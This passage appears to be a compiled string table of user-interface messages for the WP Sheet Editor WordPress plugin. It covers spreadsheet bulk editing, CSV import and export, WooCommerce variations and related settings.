spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. 